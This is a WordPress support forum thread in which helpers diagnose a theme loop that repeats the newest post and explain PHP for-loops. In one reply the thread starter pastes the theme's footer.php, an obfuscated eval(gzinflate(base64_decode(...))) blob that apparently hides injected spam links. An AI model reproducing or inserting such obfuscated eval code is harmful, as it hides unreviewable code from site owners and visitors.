Viewing 15 replies - 1 through 15 (of 17 total)
  • It may be a problem with your theme or a plugin. To determine if either is the cause, try switching themes and temporarily disabling plugins and seeing if the problem goes away.

    BTW, I’d recommend getting rid of the black on black spam links in your footer before you get penalized by Google. These laughably phony “design credits” appear to have been slipped in there by the theme provider. They are probably found in the theme’s footer.php.

    Thread Starter ritchiem

    (@ritchiem)

    not too stray from my original question…but I tried to remove the footer info like you said but it messed with my whole theme. It is all in a type of code…letters and numbers. What should I do about it.

    And still need help with OP. I disabled the theme and it was ok, no triple posts. How do I narrow it down even further, I have done so much work to this theme.

    Thanks

    It’s difficult to say without seeing your template file, but your WP LOOP seems to be printing your most recent post 3 times in stead of pulling the 3 most recent posts.

    This is the WP Loop in its basic format:

    <?php if (have_posts()) : ?>
        <?php while (have_posts()) : the_post(); ?>
        <?php endwhile; ?>
        <?php else : ?>
    <?php endif; ?>

    Are you running any special queries in your index.php file?

    As for your your footer, try removing just the code inside the <p></p> tags and replacing with whatever you’d like.

    Thread Starter ritchiem

    (@ritchiem)

    Thanks for the tips dbmartin….will do, and I will let you know ASAP

    Thread Starter ritchiem

    (@ritchiem)

    I’ll just post this because it seems to be what you are talking about

    <div class="postgroup">
        <?php wp_blogmark(); ?>
    		<?php for($i=1;$i<4;$i++) : ?>
    		<?php
    			$latest = get_option('mahusay_category_' . $i);
    			$latcat = (empty($latest)) ? 1 : get_category_by_slug($latest);
    			query_posts('showposts=1&cat='.$latcat->cat_ID);
    		?>
    
    		<?php while (have_posts()) : the_post(); ?>
    		<div class="post indexpost" id="post-<?php the_ID(); ?>">
    			<?php
    				$customfields = get_post_custom();
    				$scrp = get_bloginfo('wpurl') . '/tt-scripts/timthumb.php?';
    				if (empty($customfields['paddimage'][0])) {
    					$imgpath = $scrp . 'src=' . get_bloginfo('wpurl') . '/wp-content/themes/mahusay/images/thumbnail.png' . '&amp;w=125&amp;h=125&amp;zc=1';
    				} else {
    					$imgpath = $scrp . 'src=' . get_bloginfo('wpurl') .  $customfields['paddimage'][0] . '&amp;w=125&amp;h=125&amp;zc=1';
    				}
    			?>
    			<div class="title">
    				<p>
    					<span class="date"><?php the_time('F j, Y'); ?></span>
    					<span class="nodisplay">|</span>
    					<span class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></span>
    					<span class="nodisplay">|</span>
    					<span class="categories"><?php echo $latcat->cat_name; ?></span>
    				</p>
    			</div>
    			<img class="header" src="<?php echo $imgpath; ?>" alt="<?php the_title(); ?>" />
    			<div class="entry">
    				<h2 class="title"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
    				<?php themefunction_content(400,'');?>
    			</div>
    		</div>
    		<?php endwhile; ?>
    		<?php endfor; ?>
    	</div>

    and as for the footer there is no <p></p> tags

    post your footer.php file code and I’ll take a look.

    Thread Starter ritchiem

    (@ritchiem)

    <? eval(gzinflate(base64_decode('DZe3EoTWGUZfxZ2loSCnsSUNOedM42HJGZbM03tLCobL/cN3zj9///eff5VnNvxRv+1UDdle/vHJtpLA/leU+VyUf/xbTEv0nUNm7N0q/ViF4MhllkMKSUJT5AgxScI4cEJTnTgRcRDrFyJpAgVBAAbBICRTSgGJjCjWRyEfGR2R4fKRigSeUQYHG8R9X9ghBLXHgWzDEdJ5/StH+gnRc/29xNQrUvkQLtkyZ7DQ++hLkdbMOZm3OhpH+jqSXnyHdFTrvhefB2XVPjW9WQS8OhnEoQiXt18qJJ1KMFfQW6EiTlTjdL8fd6HiYnHxT+6e5bRRgyCqEi30dc7x1u8KnrN6xzmtAiePjasW1GqxJT3YRBdJmW8pALqJPYCtCNPgcsL3hD/XYM8r6sMADx/Hx5lcNuC0XuqA12YiJmk0CSEb64mtp5KoJSjUZSCxw8YRX3L3ZLl10l4tFJtdKiazslVjf4ERh7SkVUkbZnvLDVi4stlnD3sR60Uuk4GwXNU0HCcI/zBiNoR3buoI0+E23ZFz2++P1oO9rDrQV6NDNhh6oNwQUhepfG8M8f2M5ieA63m/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H18vmjTX6QJlahMJz/Db7zAWXhds/bCqmYpwAERRir1Zq5gug5sYbzScgn/mhkHtop6kAhyQxO1YIYOmQtCHDHsyBhmRcuWucBZwlCY0B+0KSgxfWdKupbqQHIWD0WYMRqav/bQHPu5LpwdwBW3jJLroJBJLKjTnQz+f2nOiIFHfMfD6zIgJe4vSvQHO8fCd5sdolnuuNj4Ulmr/9FrExi1LmX14zjFTQ0HNrq7g/aH7GUIdmPjRgLXjr3qCYzTokZj+1A9JHTa1UB1Iw2uMLRJu936buRPWug3mGO/A/pga7scvFU1MvipkhCpdZ7kINHus8QPIwpdqjz3Jgv5B2GuD4DuBIIW/IEi8IEB/QBDMQJC9/vrr33/++ed//vXP3//95/8='))); ?>

    I have no idea what this is

    Ok, so I’ve figured out what the issue is, you have “conflicting” calls.

    In this line here:
    <?php for($i=1;$i<4;$i++) : ?>

    You’re basically saying “i=1, and as long as i is less than 4, loop through and pull results.”

    While this line here:
    query_posts('showposts=1&cat='.$latcat->cat_ID);

    Is saying “query the post database and show me only one post from X category.”

    So, the question is, what are trying to do with your posts? Only show one, the most recent? Show the 3 most recent? Or show them 3 most recent from a specific category?

    Thread Starter ritchiem

    (@ritchiem)

    just show the 3 most recent posts for the blog.

    Thank you so much for giving me a hand…I don’t know what I would do without people like you.

    Thumbs up

    Regarding the triple posts:
    Is your index.php loop setup to only display 1 post? Are there multiple loops all calling to the same category? Did you somehow limit/filter which posts your loop is showing?

    Regarding the footer:
    Hmm, maybe the theme’s creator encrypted footer.php? That’d be strange…

    If they did, you can easily remake it. Create a new footer.php that has 2 <div>‘s with CSS that is something to the effect of:

    #footer-wrapper { /* spans the entire width of the page */
       height: 108px;
       width: 100%;
       background-image url(https://clarklandscaping.biz/wp-content/themes/mahusay/images/background-footer.gif)
       background-repeat: repeat-x;
       background-position: top; /* might have to check this */
       background-color: #666666;
    }
    #footer-content { /* holds the textual info */
       width: 960px;
       height: 82px;
    }
    Thread Starter ritchiem

    (@ritchiem)

    Is your index.php loop setup to only display 1 post? Are there multiple loops all calling to the same category? Did you somehow limit/filter which posts your loop is showing?

    I don’t know reflex…I have done some changes but didn’t (that I know of) touch the loop. How can I find out if the loop is setup correctly?

    I’ll work on the footer tips…thanks.

    Thread Starter ritchiem

    (@ritchiem)

    bump

    Thread Starter ritchiem

    (@ritchiem)

    Ok, so I’ve figured out what the issue is, you have “conflicting” calls.

    In this line here:
    <?php for($i=1;$i<4;$i++) : ?>

    You’re basically saying “i=1, and as long as i is less than 4, loop through and pull results.”

    While this line here:
    query_posts(‘showposts=1&cat=’.$latcat->cat_ID);

    Is saying “query the post database and show me only one post from X category.”

    So, the question is, what are trying to do with your posts? Only show one, the most recent? Show the 3 most recent? Or show them 3 most recent from a specific category?

    can someone elaborate on this post here please. What does ‘i’ stand for and how can I fix this?

    Thread Starter ritchiem

    (@ritchiem)

    well I seemed to have things working thanks to dbmartin. I changed some of the values from what he pointed out and bingo.

    I am still having issues with my footer. Gonna try and make a new one, I just hope that it does not mess the theme up.

    i is just some variable (usually an integer) — it can be anything you want, just as long as all 3 variables are the same. The line

    for($i=1;$i<4;$i++) {
       //do stuff
    }

    reads as “Start with 1, and as long as it’s less than 4, keep adding 1. While this is true, do stuff.”

    i++ is shorthand for i = i + 1 (which is the same as saying “Take the current value and add 1 to itself.“)

    So this for() statement will be looping through the values i=1, i=2, and i=3. (remember: less than, but not including 4!) and performing whatever you tell it to do (the “stuff”).

Viewing 15 replies - 1 through 15 (of 17 total)
  • The topic ‘new post repeats…why?’ is closed to new replies.